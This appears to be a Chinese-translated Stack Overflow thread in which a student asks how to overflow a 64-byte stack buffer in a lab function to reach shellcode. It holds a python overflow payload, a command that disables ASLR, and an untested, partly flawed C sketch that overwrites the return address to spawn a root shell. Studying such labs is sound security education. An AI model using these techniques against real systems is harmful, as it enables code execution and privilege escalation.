【问题标题】:Using buffer overflow to execute shell code使用缓冲区溢出执行shell代码
【发布时间】:2013-05-01 19:58:04
【问题描述】:

我最近一直在学习计算机安全,遇到了几个问题,尤其是在这个问题上我遇到了一些麻烦。

我得到了一个带有固定缓冲区的函数,我需要溢出才能执行文件 shellcode 中的 shellcode。功能很简单:

void vuln(char *str) {
    char buf[64];
    strcpy(buf, str);
    //function provided to display stack on command prompt
    dump_stack((void **) buf, 21, (void **) &str);
}

我最初的猜测是修改函数的返回地址 eip,以便定位和执行 shellcode 文件中的内容,但我意识到我没有该文件的地址可以用十六进制值表示。我很确定我需要操作返回地址,所以目前我要调用的是:

//the string is passed as a command line arg
./buffer_overflow_shellcode $(python -c "print 'A'*72 + '\x41\xd6\xff\xff' ")

我的输出是:

Stack dump:
0xffffd600: 0xffffd7fd (first argument)
0xffffd5fc: 0x08048653 (saved eip)
0xffffd5f8: 0xffffd641 (saved ebp)
0xffffd5f4: 0x41414141
0xffffd5f0: 0x41414141
0xffffd5ec: 0x41414141
0xffffd5e8: 0x41414141
0xffffd5e4: 0x41414141
0xffffd5e0: 0x41414141
0xffffd5dc: 0x41414141
0xffffd5d8: 0x41414141
0xffffd5d4: 0x41414141
0xffffd5d0: 0x41414141
0xffffd5cc: 0x41414141
0xffffd5c8: 0x41414141
0xffffd5c4: 0x41414141
0xffffd5c0: 0x41414141
0xffffd5bc: 0x41414141
0xffffd5b8: 0x41414141
0xffffd5b4: 0x41414141
0xffffd5b0: 0x41414141 (beginning of buffer)
Segmentation fault

在我用附加地址替换 edp 的地址并到达在返回地址,准备操作它。非常感谢任何帮助,谢谢!

【问题讨论】:

  • 您是否使用-really-no-protection-make-me-vulnerable-to-everything 标志编译了代码?现在,这对于该漏洞利用来说是必要的。
  • @Daniel Fischer 是的,我已经正确编译了以前的计算机安全程序,并且能够毫无问题地溢出它们。我知道我的程序会按预期运行
  • 好的,只检查明显的嫌疑人。
  • 您是否禁用了地址空间布局随机化? (echo 0 > /proc/sys/kernel/randomize_va_space)

标签: c assembly buffer-overflow shellcode


【解决方案1】:

嗯,我想这可能类似于计算机系统:程序员的视角中的缓冲区溢出实验室。首先,使用objdump 获取静态地址。其次,使用gdb 运行它以找出堆栈的地址。然后,用这样一个字符串填充缓冲区,将返回地址覆盖到缓冲区(这样您就可以放置漏洞利用代码,或者您可以在程序中调用其他代码)。

查看此pdf,它可作为本实验室的指南。它可以为您提供一些见解。

正如所指出的,需要大量的编译时标志来实现这一点。 (我会检查一下并很快回来)。或者,this 帖子提供了有关如何编译此类示例的指南。

【讨论】:

    【解决方案2】:

    我最初的猜测是修改函数的返回地址 eip,以便定位和执行 shellcode 文件中的内容,但我意识到我没有可以用十六进制值表示的文件地址。

    您想修改 RET 地址,以便函数结束时它不会返回到调用者,而是返回到 shellcode 的开头。

    ((作为对什么是 shellcode 的简要概述,它是一组汇编指令(严重依赖于执行易受攻击进程的平台)执行 shell(通常是根 shell),从而使您陷入困境。您可以利用的好环境。))

    现在回来,你想要的是将 RET 指向你 shellcode 中的第一条汇编指令。奇怪的是你把它放在一个单独的文件中。是必须的吗?

    通常的做法是你有这样的东西:

    char shellcode[] = "\x90\x90\x90...";
    
    
    int main()
    {
            /* 
             * huge string (like your 72 A's) that appends the address of the 
             * shellcode at the right address (in your case I think it's 64 + 4) 
             */
            char evilstring[100]; 
    
            /* Fill the buf and the EBP with A's */
            for (int i = 0; i < 64 + 4; i++) {
                    evilstring[i] = 'A';
            }
            /* And the RET with the address of your shellcode */
            sprintf(&evilstring[68], "%p", &shellcode[0]);
            vuln(evilstring);
            /* you should have a shell now */
    
            /* NOTREACHED */
            return 0;
    }
    

    所以现在,当你的函数返回时,它会返回到 shellcode[] 字符串的地址,并继续从那里执行指令。这就是你想要的。因为这些说明为您提供了 root shell(或您的 shellcode 所做的任何事情)。

    请注意,以上只是示例代码,甚至没有经过编译测试。

    如果我不理解您的问题或解释不够清楚,请随时提问。

    【讨论】:

      【解决方案3】:
      char buff[20];
      unsigned int pass = 0;
      

      当'buff'溢出时,额外的输入将'pass'变为大于0,使其成为'true'值。

      【讨论】:

      • 如果堆栈变小,那么过多的buff 输入将破坏所有压入的寄存器和/或返回地址,而不是pass
      【解决方案4】:

      当你知道在哪里看时并不难,就像在打开带有 gdb 的应用程序之前所说的那样。 运行。然后 i(nfo) r(egisters) 看看它为什么会崩溃。 disassemble 也很有用。

      另外,(我假设你知道这一点):

      void vuln(char *str) {
          char buf[64];
          strcpy(buf, str);
          //function provided to display stack on command prompt
          dump_stack((void **) buf, 21, (void **) &str);
      }
      

      其实是

      void vuln(char *str) {
          void *return;
          char buf[64];
      
          /* Set Return value and store stack */
          strcpy(buf, str);
          //function provided to display stack on command prompt
          dump_stack((void **) buf, 21, (void **) &str);
          /* restore stack and jmp to return value. */
      }
      

      【讨论】:

        猜你喜欢
        • 1970-01-01
        • 2013-12-31
        • 1970-01-01
        • 2014-10-05
        • 1970-01-01
        • 1970-01-01
        • 2021-12-03
        • 2023-03-25
        • 2015-12-16
        相关资源
        最近更新 更多